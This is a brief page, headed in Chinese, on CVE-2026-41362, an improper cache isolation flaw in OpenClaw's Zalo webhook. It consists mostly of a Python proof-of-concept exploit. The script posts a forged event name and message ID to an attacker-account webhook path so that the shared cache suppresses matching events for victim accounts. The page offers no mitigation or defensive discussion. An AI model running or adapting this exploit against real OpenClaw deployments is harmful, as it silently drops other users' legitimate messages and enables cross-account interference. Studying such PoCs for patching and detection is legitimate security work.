CVE-2026-41362 OpenClaw Zalo Webhook缓存隔离漏洞

import requests # PoC for CVE-2026-41362: Improper Cache Isolation in OpenClaw # This script demonstrates how an attacker can suppress legitimate events on other accounts. def exploit_webhook(cache_poison_url, victim_event_name, victim_message_id): """ Simulates sending a webhook request to poison the shared cache. """ headers = { "Content-Type": "application/json" } # Payload matching the victim's expected event parameters payload = { "event_name": victim_event_name, "message_id": victim_message_id } try: response = requests.post(cache_poison_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully sent cache poisoning request.") print(f"[+] Future events with event_name='{victim_event_name}' and message_id='{victim_message_id}' will be suppressed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Attacker's controlled webhook endpoint attacker_webhook_url = "http://vulnerable-openclaw.com/api/webhook/zalo/attacker_account" # Parameters that the victim account expects to receive target_event_name = "user_message" target_message_id = "msg_12345_critical" exploit_webhook(attacker_webhook_url, target_event_name, target_message_id)